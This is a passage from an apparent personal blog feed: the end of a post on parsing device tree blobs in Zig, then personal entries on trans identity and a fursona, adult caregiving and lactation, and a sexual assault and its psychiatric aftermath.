clock provider, followed by &lt;code&gt;#clock-cells&lt;/code&gt; worth of cells to index which clock
on that provider.&lt;/p&gt;
&lt;p&gt;In other words, a &lt;code&gt;clocks&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;00000000: 00000085 0000001c 0000002e
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;could refer to either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;one clock specified by phandle &lt;code&gt;0x85&lt;/code&gt;, with a &lt;code&gt;#clock-cells&lt;/code&gt; of 2, the index
being &lt;code&gt;0x1c 0x2e&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;two clocks;
&lt;ul&gt;
&lt;li&gt;either a clock at phandle &lt;code&gt;0x85&lt;/code&gt; with a &lt;code&gt;#clock-cells&lt;/code&gt; of 1 indexed by
&lt;code&gt;0x1c&lt;/code&gt;, and a clock at &lt;code&gt;0x2e&lt;/code&gt; with no index, or,&lt;/li&gt;
&lt;li&gt;a clock at &lt;code&gt;0x85&lt;/code&gt; with no index, and a clock at &lt;code&gt;0x1c&lt;/code&gt; indexed by &lt;code&gt;0x2e&lt;/code&gt;;
or,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;three clocks, all with no index; &lt;code&gt;0x85&lt;/code&gt;, &lt;code&gt;0x1c&lt;/code&gt;, &lt;code&gt;0x2e&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You need to be able to look up the clocks and obtain their properties to
interpret this, so you &lt;strong&gt;need&lt;/strong&gt; a second pass, or delayed/on-time resolution of
fields, or whatever.  There end up being &lt;a href=&quot;https://github.com/kivikakk/dtb.zig/blob/9bc32d41ae83586a422dd5f10c943021592613cd/src/parser.zig#L133-L142&quot;&gt;quite a few
props&lt;/a&gt;
that need a second pass.&lt;/p&gt;
&lt;h2&gt;How big?&lt;/h2&gt;
&lt;p&gt;It’s worth noting all numbers and indexes in DTB are in big-endian, unsigned
32-bit integer cells. That makes hexdumps easier, since you can read them
byte-by-byte or in groups of 4 and don’t need to rearrange them in your head.&lt;/p&gt;
&lt;p&gt;You’ll see &lt;code&gt;#address-cells&lt;/code&gt; of 2 and similar for most 64-bit devices. I saw an
&lt;code&gt;#address-cells&lt;/code&gt; of 3 once in a PCIe node and it scared me.&lt;/p&gt;
&lt;h3&gt;Strings are NUL-terminated, and NUL padded&lt;/h3&gt;
&lt;p&gt;This tripped me up.  Strings are NUL-terminated, and then the field will be
padded with NULs (if needed) to align on a &lt;code&gt;u32&lt;/code&gt; (i.e. offset divisible by 4).
This is helpful, because a &lt;code&gt;u32&lt;/code&gt; is literally what will always follow, and Arm
devices (which DTBs are often used on) don’t like unaligned reads.&lt;/p&gt;
&lt;p&gt;So, when you need to read a NUL-terminated string, don’t do what I did first:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;usize&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@as&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;usize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It seems reasonable at first blush: count the NULs (&lt;a href=&quot;https://github.com/ziglang/zig/blob/9270aae071a4ee840193afe1162b24945cbd6d9e/lib/std/mem.zig#L680-L711&quot;&gt;there’s a much better
way&lt;/a&gt;),
then advance the index past the name, plus align to advance past padding.
(Hack for aligning to a power of two, &lt;code&gt;n&lt;/code&gt;: add &lt;code&gt;n-1&lt;/code&gt;, then logical AND with
&lt;code&gt;n-1&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;The problem is that I never advanced past the NUL terminator, which is still
part of the string.  Here are some example NUL-terminated strings:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6100&lt;/span&gt;                                 a&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;616200&lt;/span&gt;                               &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ab&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61626300&lt;/span&gt;                             &lt;span style=&quot;color: #cdd6f4;&quot;&gt;abc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61626364&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;00&lt;/span&gt;                          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;abcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here are the same strings padded with NULs to align on &lt;code&gt;u32&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61000000&lt;/span&gt;                             &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61620000&lt;/span&gt;                             &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ab&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61626300&lt;/span&gt;                             &lt;span style=&quot;color: #cdd6f4;&quot;&gt;abc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61626364&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;00000000&lt;/span&gt;                    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;abcd&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s the corrected code:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;usize&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// advance past NUL byte&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name_end&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@as&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;usize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;That’s all for now&lt;/h2&gt;
&lt;p&gt;I ended up separating dtb.zig into two parts, given it’s used in boot-time code where allocating memory can mess around with things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;allocator-free
&lt;a href=&quot;https://github.com/kivikakk/dtb.zig/blob/9bc32d41ae83586a422dd5f10c943021592613cd/src/traverser.zig&quot;&gt;&lt;code&gt;Traverser&lt;/code&gt;&lt;/a&gt;,
which emits events SAX style. I tried using Zig’s &lt;code&gt;suspend&lt;/code&gt;/&lt;code&gt;resume&lt;/code&gt; here,
and it works pretty well.&lt;/li&gt;
&lt;li&gt;allocating
&lt;a href=&quot;https://github.com/kivikakk/dtb.zig/blob/9bc32d41ae83586a422dd5f10c943021592613cd/src/parser.zig&quot;&gt;&lt;code&gt;Parser&lt;/code&gt;&lt;/a&gt;
which uses the &lt;code&gt;Traverser&lt;/code&gt; and creates an AST, parsing props into an
immediately usable AST in two passes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;Traverser&lt;/code&gt; is used in &lt;a href=&quot;https://github.com/kivikakk/daintree&quot;&gt;daintree&lt;/a&gt;’s
bootloader,
&lt;a href=&quot;https://github.com/kivikakk/daintree/blob/209782a93de9088cba20808644c89cd9898ddada/dainboot/src/dtb.zig&quot;&gt;dainboot&lt;/a&gt;,
to find a probable serial UART device. I’ll use the &lt;code&gt;Parser&lt;/code&gt; later in the OS
proper to bring up more devices.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>a different lens</title>
    <updated>2020-11-05T00:39:00Z</updated>
    <id>https://kivikakk.ee/xue/2020/11/05/a-different-lens</id>
    <link href="https://kivikakk.ee/2020/11/05/a-different-lens" />

    <content type="html">&lt;p&gt;&lt;em&gt;A letter written to an oft-commissioned artist who was happy to hear more
about the backstory of the character she’d drawn so much.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So .. I’m trans; I kinda knew about it from an early age (like in the
mid-1990s; I’m 30 now), but didn’t have the words or experience or knowledge to
understand why I felt the way I did. It wasn’t really a thing you ever heard
about, there was no media representation, the internet barely existed, etc.
etc.&lt;/p&gt;
&lt;p&gt;So I came to understand this “other” inside me as something, or someone, that I
liked to channel; like I could find her inside me and bring her to life. I
always had an affinity for rabbits, and this ‘girl’ form of me just naturally
seemed to be rabbit-like. When I found out about furry stuff when I was 12 or
so, she very naturally became my fursona, or my fursona became her; the
boundary was always very fuzzy. At the time I gave her the name Asherah. ‘We’
started hanging around on furry MUCKs, she learned to express herself more and
more, and we started to develop an idea of what she looked like. (My father
worked for the local ISP, so I was able to get connected very early!)&lt;/p&gt;
&lt;p&gt;Fast forward to 2012 — things like Twitter and Tumblr were gaining popularity,
and I finally understood and accepted that I was trans and I needed to do
something about it. I transitioned, and kinda fucked around for a few years
trying to work out what I should do about my name — tried a few different ones
and none felt right — and then one day it suddenly dawned on me (or on us) that
Asherah was a name people had used for ‘us’ for ten years, and that it was the
name we were actually comfortable with. So I changed my name to Asherah
(usually called Ashe), and after a while we started calling her, my ’sona or
alternate self, Rain. It felt like Rain was keeping my name for me until I was
ready for it, y’know?&lt;/p&gt;
&lt;p&gt;I’ve had pretty bad mental health issues stemming from different trauma. A lot
of awful stuff happened in my family when I was very young, and it left me
really depressed for a long time. I’ve mostly gotten on top of the depression,
but the last decade has been kinda dominated by anxiety and panic instead.
Abusive relationships and assault and that kind of thing. I’ve worked really
hard to make progress and keep my head up, but still it can be so difficult.
Chronic illness has just kinda piled on top of it, or maybe stemmed from it. I
just kinda have to do the best I can and hope for little improvements, instead
of hoping that one day I might be magically 100% fixed. Keep trying different
medications year after year, something gets better, something else gets worse.
I remember seeing you tweet a photo of a bunch of medication boxes once, so you
probably understand it better than most.&lt;/p&gt;
&lt;p&gt;Rain, then, is like.. my internal guiding light, or guardian, or spirit guide,
or something. She helped me see my way to my true self, helped me find my name,
and now, she’s kinda my loving ever-present companion, even if just in my own
head.&lt;/p&gt;
&lt;p&gt;She’s like this ideal self that I aspire to become more like; she holds my
cheerfulness and joy and curiosity, and the more I can connect to her, the more
I can radiate those qualities myself. Sometimes seeing her as a separate person
with a separate identity to myself is helpful; we can talk over things and be a
little bit wiser than if it was ‘just me’. Over time I feel like I become more
and more like her, and she keeps evolving and being the frontrunner of who we
are. (idk if this makes any sense.. /o\)&lt;/p&gt;
&lt;p&gt;But, yeah. Basically, despite all the illness and trauma and things I’ve had to
deal with, I actually hold up in real life really well, thanks to my connection
with her! People who know me sometimes wonder how I manage to be so
well-adjusted and ‘successful’ when they learn what I’ve had to deal with, how
poor my family was when I was growing up, what happened when I transitioned,
etc. etc., and it’s basically through nurturing this relationship with her. I
usually don’t tell them that, though, because frankly it sounds kinda nuts.&lt;/p&gt;
&lt;p&gt;whew. Okay, that was a lot. I hope it was at least a little interesting. For
what it’s worth, I’m not particularly disconnected with reality; you can look
at Rain through a plurality/multiplicity/disassociative identity lens, or
through an Internal Family Systems therapy lens, or in a few different other
ways depending on how you understand identity or the brain. In short, she’s the
way that I practice having a good loving relationship with myself. It’s really
nice!&lt;/p&gt;
&lt;p&gt;So, seeing her in art is really powerful. You’ve done three pieces of her by
now, and it always feels like seeing a part of myself (or of ourselves) for the
first time. The first was especially magical; we fell in love with your style
instantly. It brings out the ethereal, gentle, warm sense of her spiritual
dimension. And the most recent one brings her down to earth; brings her to life
in a physical dimension. Gah. It’s just so beautiful ;;&lt;/p&gt;
&lt;p&gt;This YCH feels so appropriate for Rain — the character is just radiating
warmth. The design for the book cover that I gave above is a sigil — kind of a
magical mark that is charged with meaning and intention, designed to have a
lingering subconscious effect on its designer/user (i.e. me!). In this case,
the sigil is charged with intent to strengthen the bond and connection between
me and her; to help me channel her and connect with her energy; letting it flow
out .. it just fits together with the ych design perfectly. (And the clothing
design is &lt;em&gt;super&lt;/em&gt; cute!)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>motherhood</title>
    <updated>2020-10-07T00:53:00Z</updated>
    <id>https://kivikakk.ee/xue/2020/10/07/motherhood</id>
    <link href="https://kivikakk.ee/2020/10/07/motherhood" />

    <content type="html">&lt;p&gt;I had some pretty powerful peer-motherly feelings last night.&lt;/p&gt;
&lt;p&gt;I don’t quite know a better word for it. It’s not maternal &lt;em&gt;as such&lt;/em&gt; – I do have kids and there’s a really distinct difference – but the feeling extends much further than I thought it would.&lt;/p&gt;
&lt;p&gt;Struggling to work out how to express it now; when I was really deep in the zone I was pretty inebriated and it was much easier to just feel and be in the emotions than interrogate the feelings. But I’ll try.&lt;/p&gt;
&lt;p&gt;When I decided to try earnestly to induce lactation (3 weeks ago now) it was just a bit of fun; I got a response here that really encouraged me. I never really saw the appeal before, but it occurred to me how validating/affirming it might be to actually &lt;em&gt;use&lt;/em&gt; my body in that way. My tits really haven’t done much for me until now; I’m pretty flat-chested and it seemed like there’s no way that’d change without actual BE. Doing the regular work that’s part of inducing meant I was paying my chest a lot of attention, every day, and also meant they were sore a lot (which is good as far as I’m concerned).&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;(cw little)&lt;/summary&gt;[redacted]&#39;s been getting into the little headspace more and more, and so more and more we fall asleep in bed at night with her suckling on me; come to half an hour later with the bedside lamp still on, change sides, turn off the light ..&lt;/details&gt;
&lt;p&gt;I’ve had another close friend talk about how my (one of my headmates’) energy makes her “want to curl up in your arms and be held for a bit” and lean into a little bit of being on the receiving end of caregiving-type energy, and it’s at that point – thinking about me enacting this role in more than one context – that I really envisioned myself as being a “caregiving-type” in a broader sense for the first time.&lt;/p&gt;
&lt;p&gt;And it’s really nice?? I started thinking about the role outside a strictly cgl lens, in more of a “loving, freely care-giving, supportive mom-type peer-friend” energy; thinking about an ideal sense of communal closeness where I could be that to many friends; being something like an empowering, encouraging rock that close ones knew would be able to emotionally support and nurture them.&lt;/p&gt;
&lt;p&gt;The right words are still not coming to me and the feeling is a little more distant today than they were last night.&lt;/p&gt;
&lt;p&gt;One image that keeps coming back to me is kinda weird, but kinda conveys it. My mind kept flitting back to images of high school (!), like in the year 12 common room where people would just hang out and chill. I’m imagining some alternate world where intimacy wasn’t restricted to romantic partners or seen as something that had to be hidden away. I would totally have been the mom-friend in that world and in that common room, where friends could just lay down across my lap and I’d stroke their hair and listen to them, and maybe suckle them a bit too if they wanted. Maybe people could do that for each other more freely and be responsive to each other’s emotional needs and play different roles as the situation called for it. (The specific setting isn’t really important but the image really stuck with me for some reason.)&lt;/p&gt;
&lt;p&gt;tl;dr im mom&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>thorn</title>
    <updated>2020-09-14T00:43:00Z</updated>
    <id>https://kivikakk.ee/xue/2020/09/14/thorn</id>
    <link href="https://kivikakk.ee/2020/09/14/thorn" />

    <content type="html">&lt;p&gt;CN: sexual assault, aftermath, alcohol/drug use, psychiatry, bureaucracy&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;there is a thorn in my side and usually i am pretty good at just not paying it much heed, and it feels like i’ve done and earnestly achieved everything i could hope to in service of removing it but heck.
i have always been an anxious person and prone to carefully freaking out inside when shit gets bad. a while ago when i was very stressed i’d get racing thoughts and some light auditory hallucinations but nothing too bad.&lt;/p&gt;
&lt;p&gt;threeish years ago my company hosted an industry event in the city and i tagged along in a semi-official capacity. free drinks were great, a friend and a casual datefriend also in the industry happened to turn up, we all had a really good time. went out together with some other coworkers for icecream afterward, super good vibes. i might’ve had like eight drinks in the span of 4 or 5 hours. at the end of the night datefriend asked if i wanted to crash at their place instead and it sounded good.
got to their place, smoked some weed, very comfortably crossfaded, and then in some haze during sleep-wake they raped me. it’s still fucked up that i still feel shame that i froze up in fear and panic instead of saying “no” or pushing them away when they did something i had never and would never have consented to, given the opportunity.
it was really weird because i had to go through all the motions of what someone does when that happens to them; break it off with them, get sti screened a few times – kind of attain some awareness when the nurse asked “.. do you need someone to call the police?” – and enter a small self-destructive spiral, but still not quite connect the dots. it took much longer than i expected it would to understand what had happened and to put words to it (like i’m able to now).&lt;/p&gt;
&lt;p&gt;for a while i was hearing voices again, thoughts slippery, broke off my relationships, leaned heavily on drugs. at some point i realised i was really not managing with life and made an appointment to see my psychiatrist.
we tried an antipsychotic first – i’d had a really bad experience with one in the past so we tried a different/new one. it kinda “worked” but made me narcoleptic and i had to stop it. by this stage it was maybe a month after it happened. so we tried a mood stabiliser.
i had to titrate up on it really slowly over two months, and by the time i hit the target dose i was pretty much feeling okay. i’d corrected my course a lot, and i don’t really know if it was the drugs or just time, distance, psychic space, reconnecting with friends/partners, what.&lt;/p&gt;
&lt;p&gt;years later i was at a queer rave and i saw them from across the room, and they saw me and they were like a deer caught in headlights, eyes wide open, stunned. i tried to avoid them and i could tell they were avoiding me, but a few months later i saw them there again, and then again. we hadn’t spoken at all since it happened, and i thought maybe enough time had passed that it might be good for both of us. i didn’t hate them or anything, just what they did.
